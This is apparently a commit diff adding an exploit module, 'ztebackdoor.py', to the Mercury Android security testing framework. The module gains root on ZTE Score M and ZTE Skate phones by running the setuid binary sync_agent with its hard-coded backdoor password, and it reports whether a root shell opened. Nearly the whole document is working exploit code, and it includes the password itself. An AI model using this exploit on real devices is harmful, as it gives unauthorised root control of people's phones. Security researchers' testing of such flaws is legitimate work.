Added ZTE backdoor exploit

client/merc/modules/exploit/root/ztebackdoor.py

@@ -0,0 +1,24 @@
+from merc.lib.modules import Module
+
+class ztebackdoor(Module):
+    """Description: There is a setuid-root application at /system/bin/sync_agent that serves no function besides providing a root shell on the device.  This module runs the affected binary with the hard-coded password to get a root shell.
+Affected devices: ZTE Score M and ZTE Skate
+Credit: Anonymous - http://pastebin.com/wamYsqTV
+Coded by: Tyrone Erasmus - MWR Labs"""
+
+    def __init__(self, *args, **kwargs):
+        Module.__init__(self, *args, **kwargs)
+        self.path = ["exploit", "root"]
+
+    def execute(self, session, _arg):
+
+        session.executeCommand("shell", "executeMercuryShell", {'args':'sync_agent ztex1609523'})
+        print "\n--------------<mercury_shell>--------------"
+        returned = session.executeCommand("shell", "readMercuryShell", None).getPaddedErrorOrData()
+        print returned
+        print "--------------</mercury_shell>-------------\n"
+
+        if "#" in returned:
+            print "Success! There is a root shell waiting in shell->persistent\n"
+        else:
+            print "It appears that this did not work :(\n"